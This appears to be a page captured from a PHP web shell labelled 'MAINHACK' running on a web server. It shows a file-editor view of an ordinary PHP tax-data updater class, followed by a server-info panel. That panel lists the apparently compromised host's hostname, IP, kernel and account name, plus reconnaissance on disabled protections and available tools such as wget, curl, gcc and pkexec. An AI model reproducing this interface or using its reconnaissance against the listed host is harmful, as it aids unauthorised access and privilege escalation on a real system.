[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Taxes.php
<?php namespace PragmaRX\Countries\Update; use PragmaRX\Countries\Package\Support\Base; class Taxes extends Base { /** * @var Helper */ protected $helper; /** * @var Updater */ protected $updater; /** * Rinvex constructor. * * @param Helper $helper * @param Updater $updater */ public function __construct(Helper $helper, Updater $updater) { $this->helper = $helper; $this->updater = $updater; } public function update() { $this->helper->progress('--- Taxes'); $this->helper->eraseDataDir($dataDir = '/taxes/default'); $taxes = $this->helper->loadJsonFiles($this->helper->dataDir('third-party/commerceguys/taxes/types')); $taxes = $taxes->mapWithKeys(function ($vat, $key) { $parts = coollect(explode('_', $key)); $cca2 = $parts->first(); $type = $parts->last(); $modifier = $parts->count() > 2 ? $parts[1] : ''; $country = $this->updater->getCountries()->where('cca2', strtoupper($cca2))->first(); $vat['vat_id'] = $key; $vat['cca2'] = $country->cca2; $vat['cca3'] = $country->cca3; $vat['tax_type'] = $type; $vat['tax_modifier'] = $modifier; $vat = $this->updater->addDataSource($vat, 'commerceguys'); $vat = $this->updater->addRecordType($vat, 'tax'); $vat = [ $type.(empty($modifier) ? '' : '_').$modifier => $vat, ]; return [$country->cca3 => $vat]; }); $this->helper->message('Processing taxes...'); $normalizerClosure = function ($item) { return $item; }; $getCodeClosure = function ($item) { return $item['tax_type']; }; $generateTaxData = function ($tax) { return $this->normalizeTax($tax); }; $taxes = $this->updater->generateJsonFiles($taxes, $dataDir, $normalizerClosure, $getCodeClosure, $generateTaxData, null); $this->helper->progress('Generated '.count($taxes).' taxes.'); } public function normalizeTax($tax) { return $tax; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002